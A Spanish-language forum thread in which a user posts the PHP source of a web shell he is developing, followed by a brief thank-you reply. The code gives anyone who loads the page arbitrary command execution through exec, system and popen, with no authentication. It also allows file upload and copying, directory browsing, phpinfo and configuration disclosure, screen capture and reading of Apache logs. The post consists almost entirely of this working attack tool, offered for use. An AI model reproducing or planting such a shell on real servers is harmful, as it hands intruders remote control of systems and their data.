Título: Desarrollando shell.
Publicado por: dRak0 en 28 Noviembre 2013, 04:19 am
Les dejo un intento de shell que estoy armando , esta muy basica por ahora.... Ire actualizando cuando tenga tiempo y la vaya arreglando. <?php
echo "<form method='POST' action='shell.php'>Origen:<input type='text' name='copiar_origen' /><br/> Destino:<input type='text' name='copiar_destino' /><br/> <input type='submit' value='Copiar'/></form>"; /*Copiar!*/ if((@$_POST['copiar_destino'] && @$_POST['copiar_origen'])!="") { $destino=$_POST['copiar_destino']; $origen=$_POST['copiar_origen']; if(copy($origen,$destino)) { echo "Se copio."; } else { echo "No se copio"; } }
echo "<form method='POST' action='shell.php'> <input type='text' name='directorio' id='directorio'/> <input type='submit' value='Listar'/> </form> "; /*Directorio*/ if(@$_POST['directorio']!="") { $directorio_actual=$_POST['directorio']; echo $directorio_actual;
if(is_dir($directorio_actual)) { $directorio=opendir($directorio_actual); echo "<br/><h1>Archivos del directorio</h1><ul>"; while(false!==($archivo=readdir($directorio))) { $rutaentera=$directorio_actual.DIRECTORY_SEPARATOR.$archivo; if(is_dir($rutaentera)) { echo "<li onClick="."\"document.getElementById('directorio').value='".$directorio_actual.DIRECTORY_SEPARATOR.$archivo."'\">".$archivo.' Tipo:directorio</li>'; } else { echo $archivo." Tamano:".filesize($rutaentera)." bytes. Tipo:".filetype($rutaentera)."<br />"; } } echo "</ul>"; } closedir($directorio_actual); }
/*Comandos*/ echo "<form method='POST' action='shell.php'> Comando:<input type='text' name='comando' /><input type='submit' value='Enviar'/><br/> Exec<input type='radio' name='ph' value='exec'/><br/> System<input type='radio' name='ph' value='system'/><br/> </form>";
if(@$_POST['comando']!="") { $comando=$_POST['comando']; if(($_POST["ph"])=="exec") { echo exec($comando); } else if(($_POST["ph"])=="system") { system($comando,$resultado); echo "<pre>".$resultado."</pre>"; } }
/*Ejecutar archivos*/ echo "<form method='POST' action='shell.php'> Archivo:<input type='text' name='archivo'/> <input type='submit' value='Ejecutar'/>";
if(@$_POST['archivo']!="") { if(pclose(popen($_POST['archivo'],"r"))) { echo "Se ejecuto."; } else { echo "No se ejecuto"; } }
/*Informacion*/ echo "<br/>Informacion:". "<br/><form method='POST' action='shell.php'> PHP.INI<input type='radio' name='info' value='phpini'><br/> ID PROCESO<input type='radio' name='info' value='proceso'><br/> Nombre usuario<input type='radio' name='info' value='usuario'><br/> Constantes Definidas<input type='radio' name='info' value='defcon'><br/> PHPINFO<input type='radio' name='info' value='phpinfo'><br/> Version Apache<input type='radio' name='info' value='apachever'><br/> <input type='submit' value='Obtener!'/></form>"; if(@$_POST['info']=="phpini") { echo "Direccion del phpini".php_ini_loaded_file(); echo "<pre>"; print_r(ini_get_all()); echo "</pre>"; } else if(@$_POST['info']=="proceso") { echo "Id proceso php:".getmypid(); } else if(@$_POST['info']=="usuario") { echo "Usuario:".get_current_user(); } else if(@$_POST['info']=="defcon") { echo "<pre>"; print_r(get_defined_constants()); echo "</pre>"; } else if(@$_POST['info']=="apachever") { echo apache_get_version(); } else if(@$_POST['info']=="phpinfo") { echo phpinfo(); }
/*Subir archivo*/ echo "<form method='POST' action='shell.php' enctype='multipart/form-data'> Archivo:<input type='file' name='subirarchivo'> <input type='submit' name='subir' value='Subir!'/> </form>";
if(isset($_POST['subir'])) { $nombre=$_FILES["subirarchivo"]['name']; $tamano=$_FILES["subirarchivo"]['size']; if(copy($_FILES['subirarchivo']['tmp_name'],$nombre)) { echo "Se subio"; } else { echo "fail"; } } /*Safe mode*/ if(ini_get('safe_mode')) { echo "Safe mode:On"; } else { echo "Safe mode:Off"; } echo "<br/>IP:".$_SERVER['SERVER_ADDR'];
/*Espacio disco*/ echo "<form method='POST' action='shell.php'> Espacio libre en el disco de:<input type='text' name='ruta' /> <input type='submit' name='bytes' value='Bytes'/> </form> "; if(isset($_POST['bytes'])) { $bytes=disk_free_space($_POST['ruta']); $bits=$bytes*8; $kb=$bytes/1024; $mb=$kb/1024; $gb=$mb/1024; echo "<br/>Bits:".$bits."<br/>Bytes:".$bytes."<br/>Kbytes:".$kb."<br/>Mbytes:".$mb."<br/>Gbytes:".$gb; }
echo "<form method='POST' action='shell.php'> Espacio total del disco:<input type='text' name='ruta2'/> <input type='submit' name='total' value='TOTAL'/> </form> "; if(isset($_POST['total'])) { $bytes=disk_total_space($_POST['ruta2']); $bits=$bytes*8; $kbytes=$bytes/1024; $mbytes=$kbytes/1024; $gbytes=$mbytes/1024; echo "<br/>Bits:".$bits."<br/>Bytes:".$bytes."<br/>Kbytes:".$kbytes."<br/>Mbytes:".$mbytes."<br/>GBytes:".$gbytes; } echo PHP_OS;
if(stristr(PHP_OS,'WIN')) { echo "<form method='POST' action='shell.php'> Direccion donde guardar foto:<input type='text' name='foto'/> <input type='submit' name='sacar' value='Sacar foto'/> <br/>PNG<input type='radio' name='tipoimagen' value='png'/> <br/>JPG<input type='radio' name='tipoimagen' value='jpeg'/> <br/>GIF<input type='radio' name='tipoimagen' value='gif'/> <br/>Mostrar<input type='checkbox' name='mostrar'/> </form>";
if(isset($_POST['sacar'])&& isset($_POST['tipoimagen'])) { $imagen=imagegrabscreen(); $tipoimagen=$_POST['tipoimagen']; $direccion=(stristr($_POST['foto'],'.'.$tipoimagen))?$_POST['foto']:$_POST['foto'].'.'.$tipoimagen; $seteado=isset($_POST['mostrar']); if($tipoimagen=="png") { imagepng($imagen,$direccion); if($seteado)echo "<br/><img src=\"".$direccion."\"></br>"; }else if($tipoimagen=="jpeg") { imagejpeg($imagen,$direccion); if($seteado)echo "<br/><img src=\"".$direccion."\"></br>"; } else if($tipoimagen=="gif") { imagegif($imagen,$direccion); if($seteado)echo "<br/><img src=\"".$direccion."\"></br>"; } imagedestroy($imagen); } }
if(stristr($_SERVER['SERVER_SOFTWARE'],"apache")) { echo "<form method='post' action='shell.php'/> Directorio apache:<input type='text' name='directorioo'/><br/> <input type='submit' name='guachen' value='Mostrar'/> </form>"; if((isset($_POST['guachen']) && $_POST['directorioo']!="")) { $directorio=($_POST['directorioo']).DIRECTORY_SEPARATOR."logs".DIRECTORY_SEPARATOR; function mostrar($esa) { $directorio=($_POST['directorioo']).DIRECTORY_SEPARATOR."logs".DIRECTORY_SEPARATOR; $handle=fopen($directorio.$esa,"r"); while(!feof($handle)) echo "<br/>".fgets($handle); fclose($handle); } echo "Access log:"; if(file_exists($directorio."access.log")) { mostrar("access.log"); }else{ "No existe<br/>"; } echo "Error log:"; if(file_exists($directorio."error.log")) { mostrar("error.log"); } else { echo "No existe.<br/>"; } if(file_exists($directorio."install.log")) { mostrar("install.log"); } else { echo "No existe.<br/>"; }
} }
?>
Título: Re: Desarrollando shell.
Publicado por: bbitter en 3 Diciembre 2013, 11:11 am
Muy interesante, ˇgracias por compartirlo!
|